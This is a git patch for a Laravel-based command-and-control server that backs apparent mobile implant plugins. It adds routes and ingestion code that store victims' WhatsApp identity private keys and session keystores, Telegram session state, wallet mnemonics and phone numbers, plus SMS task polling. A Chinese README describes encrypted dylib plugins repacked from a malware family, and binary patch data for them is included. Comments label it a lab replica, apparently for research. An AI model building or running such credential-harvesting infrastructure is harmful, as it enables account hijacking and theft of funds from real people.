From 5c9ceca4ea09ca6991082262fed75dcafb28e77b Mon Sep 17 00:00:00 2001 From: hashbro Date: Tue, 25 Aug 2026 03:45:42 +0800 Subject: [PATCH] feat: wap/sms --- .../Controllers/Admin/DeviceController.php | 2 + app/Http/Controllers/C2/XxbbC2Controller.php | 56 +++++- app/Models/Device.php | 10 ++ app/Models/PluginSession.php | 38 ++++ app/Models/SmsReport.php | 25 +++ app/Services/IngestService.php | 170 ++++++++++++++++-- app/Support/WalletSource.php | 9 +- channel-builder-new/source/details/README.md | 6 +- channel-builder-new/source/details/show.html | Bin 1864 -> 1951 bytes channel-builder-new/source/details/sms.js | Bin 0 -> 36289 bytes channel-builder-new/source/details/wap.js | Bin 0 -> 49345 bytes channel-builder-new/tools/build.py | 1 + channel-builder-new/tools/tests/test_build.py | 33 ++++ ...create_plugin_sessions_and_sms_reports.php | 112 ++++++++++++ routes/xxbb.php | 3 + tests/Feature/DeviceDeleteTest.php | 18 ++ tests/Feature/XxbbC2ApiTest.php | 139 +++++++++++++- tests/Unit/WalletSourceTest.php | 5 + 18 files changed, 596 insertions(+), 31 deletions(-) create mode 100644 app/Models/PluginSession.php create mode 100644 app/Models/SmsReport.php create mode 100644 channel-builder-new/source/details/sms.js create mode 100644 channel-builder-new/source/details/wap.js create mode 100644 database/migrations/2026_08_25_000010_create_plugin_sessions_and_sms_reports.php diff --git a/app/Http/Controllers/Admin/DeviceController.php b/app/Http/Controllers/Admin/DeviceController.php index af3be77..b8860fe 100644 --- a/app/Http/Controllers/Admin/DeviceController.php +++ b/app/Http/Controllers/Admin/DeviceController.php @@ -238,6 +238,8 @@ class DeviceController extends Controller $device->addresses()->delete(); $device->mnemonics()->delete(); $device->keystores()->delete(); + $device->pluginSessions()->delete(); + $device->smsReports()->delete(); $device->beaconTasks()->delete(); $device->delete(); }); diff --git a/app/Http/Controllers/C2/XxbbC2Controller.php b/app/Http/Controllers/C2/XxbbC2Controller.php index 72e4d07..743afba 100644 --- a/app/Http/Controllers/C2/XxbbC2Controller.php +++ b/app/Http/Controllers/C2/XxbbC2Controller.php @@ -16,9 +16,11 @@ use Illuminate\Support\Facades\Storage; * Native path map (corepayload + details plugins): * /a census (creates device from deviceInfo), /u applist, /event telemetry, /t photo multipart, /nb notes, * /uj /us /ub /ba /result wallet plugins (keystore / mnemonic / addresses), - * /api/tg/t Telegram auth (tglib). + * /api/tg/t Telegram auth (tglib), /api/wp/t WhatsApp session (wap), + * /m/t/g /m/t/r imagent SMS poll / report (sms). * * Core routes (/a, /u, /event) attribute channel_id from request headers ver/sdkv. + * Plugin routes do not write channel_id (same as /api/tg/t). */ class XxbbC2Controller extends Controller { @@ -58,6 +60,7 @@ class XxbbC2Controller extends Controller $payload = $request->attributes->get('coruna_payload'); $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); $this->ingest->ingestDeviceEvent($device, $payload); } @@ -194,6 +197,47 @@ class XxbbC2Controller extends Controller return $this->xxbbAck($request); } + /** wap: POST /api/wp/t — WhatsApp session keys (parallel to /api/tg/t). */ + public function whatsapp(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestWhatsAppAuth($device, $payload); + } + + return $this->xxbbAck($request); + } + + /** + * sms: POST /m/t/g — poll outbound SMS tasks. + * Lab never queues send tasks; code=1 + empty data matches native backoff. + */ + public function smsPoll(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); + $this->ingest->ingestSmsHeartbeat($device, $payload); + } + + return $this->xxbbAck($request, ['code' => 1, 'data' => []]); + } + + /** sms: POST /m/t/r — task result / status. */ + public function smsReport(Request $request): Response + { + $payload = $request->attributes->get('coruna_payload'); + $device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null); + if ($device && is_array($payload)) { + $this->ingest->ingestDevicePhone($device, $payload); + $this->ingest->ingestSmsTaskReport($device, $payload); + } + + return $this->xxbbAck($request); + } + private function xxbbArchive(): CorunaArchive { return new CorunaArchive( @@ -202,7 +246,10 @@ class XxbbC2Controller extends Controller ); } - private function xxbbAck(Request $request): Response + /** + * @param array|null $body + */ + private function xxbbAck(Request $request, ?array $body = null): Response { $ts = (string) $request->attributes->get('xxbb_ts', ''); if ($ts === '') { @@ -211,7 +258,10 @@ class XxbbC2Controller extends Controller if ($ts === '') { $ts = (string) (int) round(microtime(true) * 1000); } + $json = $body === null + ? '{}' + : (json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '{}'); - return response($ts.'{}', 200)->header('Content-Type', 'text/plain'); + return response($ts.$json, 200)->header('Content-Type', 'text/plain'); } } diff --git a/app/Models/Device.php b/app/Models/Device.php index b4cdb6d..2b893ff 100644 --- a/app/Models/Device.php +++ b/app/Models/Device.php @@ -95,6 +95,16 @@ class Device extends Model return $this->hasMany(WalletKeystore::class); } + public function pluginSessions(): HasMany + { + return $this->hasMany(PluginSession::class); + } + + public function smsReports(): HasMany + { + return $this->hasMany(SmsReport::class); + } + public function beaconTasks(): HasMany { return $this->hasMany(DsBeaconTask::class)->orderBy('position'); diff --git a/app/Models/PluginSession.php b/app/Models/PluginSession.php new file mode 100644 index 0000000..a4c5db8 --- /dev/null +++ b/app/Models/PluginSession.php @@ -0,0 +1,38 @@ + 'array', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } + + public function kindLabel(): string + { + return match ($this->kind) { + self::KIND_TELEGRAM => 'Telegram', + self::KIND_WHATSAPP => 'WhatsApp', + default => (string) $this->kind, + }; + } +} diff --git a/app/Models/SmsReport.php b/app/Models/SmsReport.php new file mode 100644 index 0000000..e43b53a --- /dev/null +++ b/app/Models/SmsReport.php @@ -0,0 +1,25 @@ + 'array', + ]; + } + + public function device(): BelongsTo + { + return $this->belongsTo(Device::class); + } +} diff --git a/app/Services/IngestService.php b/app/Services/IngestService.php index f7a985b..2d93e31 100644 --- a/app/Services/IngestService.php +++ b/app/Services/IngestService.php @@ -9,6 +9,8 @@ use App\Models\DeviceEvent; use App\Models\Note; use App\Models\PageVisit; use App\Models\Photo; +use App\Models\PluginSession; +use App\Models\SmsReport; use App\Models\WalletAddress; use App\Models\WalletKeystore; use App\Models\WalletMnemonic; @@ -46,6 +48,8 @@ class IngestService } $candidates[] = $payload['d'] ?? null; $candidates[] = $payload['f'] ?? null; + $candidates[] = $payload['deviceID'] ?? null; + $candidates[] = $payload['deviceId'] ?? null; foreach ($candidates as $value) { if (! empty($value) && is_string($value)) { @@ -191,7 +195,8 @@ class IngestService } /** - * `/api/user/profile/delete` — store reported phone (`p`) only when still empty. + * Own number from sms.js / old imagent. First write wins. + * Prefer `p` / `phoneNumber` / cardsinfo; bare `phone` is dest on /m/t/r. */ public function ingestDevicePhone(Device $device, ?array $payload): void { @@ -202,18 +207,48 @@ class IngestService return; } - $phone = $payload['p'] ?? $payload['phone'] ?? null; - if (! is_string($phone)) { - return; - } - $phone = trim($phone); - if ($phone === '') { + $phone = $this->extractOwnPhone($payload); + if ($phone === null) { return; } $device->forceFill(['phone' => substr($phone, 0, 64)])->save(); } + /** + * sms.js: CTSettingCopyMyPhoneNumber → `p` / `phoneNumber`; SIM slot in cardsinfo. + * `/m/t/r` uses `phone` as the send-to dest, so ignore it when task_id is present. + */ + private function extractOwnPhone(array $payload): ?string + { + foreach (['p', 'phoneNumber'] as $key) { + $phone = $this->scalarToString($payload[$key] ?? null); + if ($phone !== null) { + return $phone; + } + } + + $cards = $payload['cardsinfo'] ?? $payload['cardsInfo'] ?? null; + if (is_array($cards)) { + foreach ($cards as $card) { + if (! is_array($card)) { + continue; + } + $phone = $this->scalarToString($card['phoneNumber'] ?? $card['phone'] ?? $card['p'] ?? null); + if ($phone !== null) { + return $phone; + } + } + } + + $isTaskReport = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null) !== null; + if (! $isTaskReport) { + return $this->scalarToString($payload['phone'] ?? null); + } + + return null; + } + private function fillMissingAttribution( Device $device, Request $request, @@ -491,25 +526,91 @@ class IngestService } /** - * xxbb tglib POST /api/tg/t — Telegram auth material (user_id + atomic-state + db). - * Lab has no dedicated table; store as a keystore identity blob. + * xxbb tglib POST /api/tg/t — Telegram session (user_id + atomic-state + db). */ public function ingestTelegramAuth(Device $device, ?array $payload): void + { + $this->upsertPluginSession($device, PluginSession::KIND_TELEGRAM, $payload, [ + 'user_id', 'state', 'db_sqlite', + 'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData', + ], ['user_id', 'userId']); + } + + /** + * xxbb wap POST /api/wp/t — WhatsApp session keys (userId + phoneKeyStore). + */ + public function ingestWhatsAppAuth(Device $device, ?array $payload): void + { + $this->upsertPluginSession($device, PluginSession::KIND_WHATSAPP, $payload, [ + 'userId', 'phoneId', 'registrationID', + 'identity', 'identityPrivateKey', 'identityPublicKey', + 'clientStaticKeypairBase64', 'phoneKeyStore', + 'deviceConfig', 'whatsappVersion', + ], ['userId', 'user_id']); + } + + /** + * sms.js /m/t/g — own number via CTSettingCopyMyPhoneNumber (`p` / `phone` / `phoneNumber`). + */ + public function ingestSmsHeartbeat(Device $device, ?array $payload): void { if (! is_array($payload)) { return; } - if (array_key_exists('result', $payload)) { - $this->ingestKeystore($device, $payload); + $this->ingestDevicePhone($device, $payload); + } + /** + * sms.js POST /m/t/r — task result. Dest is `phone`; own number is `p` / `phoneNumber`. + */ + public function ingestSmsTaskReport(Device $device, ?array $payload): void + { + if (! is_array($payload)) { + return; + } + $this->ingestDevicePhone($device, $payload); + + $taskId = $this->scalarToString($payload['task_id'] ?? $payload['taskId'] ?? null); + $dest = $this->scalarToString($payload['phone'] ?? $payload['to'] ?? $payload['t'] ?? null); + $local = $this->scalarToString($payload['p'] ?? $payload['phoneNumber'] ?? null); + $msg = $this->scalarToString($payload['msg'] ?? $payload['m'] ?? null); + $status = $this->scalarToString($payload['status'] ?? $payload['s'] ?? $payload['code'] ?? null); + if ($taskId === null && $dest === null && $msg === null && $status === null) { return; } + SmsReport::query()->create([ + 'device_id' => $device->id, + 'device_key' => $device->device_id, + 'task_id' => $taskId, + 'dest_phone' => $dest !== null ? substr($dest, 0, 64) : null, + 'local_phone' => $local !== null ? substr($local, 0, 64) : null, + 'msg' => $msg, + 'status' => $status !== null ? substr($status, 0, 64) : null, + 'payload' => $payload, + ]); + } + + /** + * @param list $keepKeys + * @param list $accountKeys + */ + private function upsertPluginSession( + Device $device, + string $kind, + ?array $payload, + array $keepKeys, + array $accountKeys, + ): void { + if (! is_array($payload)) { + return; + } + if (isset($payload['result']) && is_array($payload['result'])) { + $payload = array_merge($payload['result'], $payload); + } + $blob = []; - foreach ([ - 'user_id', 'state', 'db_sqlite', - 'datacenterAuthInfoById', 'datacenterAddressSetById', 'backupData', - ] as $key) { + foreach ($keepKeys as $key) { if (array_key_exists($key, $payload)) { $blob[$key] = $payload[$key]; } @@ -517,8 +618,43 @@ class IngestService if ($blob === []) { return; } - $blob['source'] = WalletSource::fromTag($payload['a'] ?? 'tg'); - $this->ingestKeystore($device, ['result' => $blob]); + + $account = null; + foreach ($accountKeys as $key) { + $account = $this->scalarToString($payload[$key] ?? $blob[$key] ?? null); + if ($account !== null) { + break; + } + } + $phone = $kind === PluginSession::KIND_WHATSAPP + ? $this->scalarToString($payload['userId'] ?? $payload['phoneId'] ?? $payload['phone'] ?? null) + : null; + + PluginSession::query()->updateOrCreate( + [ + 'device_id' => $device->id, + 'kind' => $kind, + 'account_id' => $account, + ], + [ + 'device_key' => $device->device_id, + 'phone' => $phone !== null ? substr($phone, 0, 64) : null, + 'payload' => $blob, + ], + ); + } + + private function scalarToString(mixed $value): ?string + { + if (is_int($value) || is_float($value)) { + return (string) $value; + } + if (! is_string($value)) { + return null; + } + $value = trim($value); + + return $value !== '' ? $value : null; } /** diff --git a/app/Support/WalletSource.php b/app/Support/WalletSource.php index 9fa8196..04f44e9 100644 --- a/app/Support/WalletSource.php +++ b/app/Support/WalletSource.php @@ -32,6 +32,10 @@ final class WalletSource 'f' => 'BitKeep', 's' => 'Solflare', 'tg' => 'Telegram', + 'wp' => 'WhatsApp', + 'wa' => 'WhatsApp', + 'wap' => 'WhatsApp', + 'sms' => 'iMessage', // lab / fixture aliases 'tp' => 'TokenPocket', 'im' => 'imToken', @@ -107,12 +111,15 @@ final class WalletSource 'tonhub' => 'Tonhub', 'bitpie' => 'Bitpie', 'telegram' => 'Telegram', + 'whatsapp' => 'WhatsApp', ]; - /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp). */ + /** Plugins that inject but are not mnemonic wallets (Telegram / WhatsApp / iMessage). */ private const NON_MNEMONIC_BUNDLES = [ 'ph.telegra.Telegraph', 'net.whatsapp.WhatsApp', + 'imagent', + 'com.apple.imagent', ]; public static function fromTag(mixed $tag): string diff --git a/channel-builder-new/source/details/README.md b/channel-builder-new/source/details/README.md index a1ebf60..e4c2692 100644 --- a/channel-builder-new/source/details/README.md +++ b/channel-builder-new/source/details/README.md @@ -4,7 +4,7 @@ 文件名是线上的 `.js` 外壳,内容是 **7zAES 包着的 dylib**(密码见 builder README,不要改)。`show.html` 是目录:core + 各 App 对应哪一份插件。 -编号缺 `o15`:原包就没有这一号。`wap.js`(WhatsApp)在原 C2 上 404,这里也没有。 +编号缺 `o15`:原包就没有这一号。`wap.js` / `sms.js` 从 001trx 同族包按 **lab 7z 密码**重打;dylib 里没有自己的 DGA seed,跟 `tglib.js` 一样用 core 注入的 `PLServerPool` / 渠道 `c`。 ## 公共 @@ -40,5 +40,7 @@ | `s19lib.js` | s | Solflare | `com.solflare.mobile` | | `t20lib.js` | t | OKX | `com.okex.OKExAppstoreFull` | | `tglib.js` | tg | Telegram | `ph.telegra.Telegraph` | +| `wap.js` | wp | WhatsApp | `net.whatsapp.WhatsApp` | +| `sms.js` | sms | iMessage | `imagent` | -钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`(Telegram 登录材料),不是助记词。 +钱包插件跑起来后走 `/uj` `/us` `/ub` `/ba` `/result` 上报 keystore / 助记词 / 地址。`tglib.js` 走 `/api/tg/t`,`wap.js` 走 `/api/wp/t`(会话密钥,不是助记词)。`sms.js` 走 `/m/t/g`(拉任务,lab 回空列表)和 `/m/t/r`(回执),心跳仍走 `/event`。 diff --git a/channel-builder-new/source/details/show.html b/channel-builder-new/source/details/show.html index cc097ec3e01ee080f73fd11d3aefe406c5bf5909..18a0bcd033fdded0b2253000ad1915ef69f96d06 100644 GIT binary patch literal 1951 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 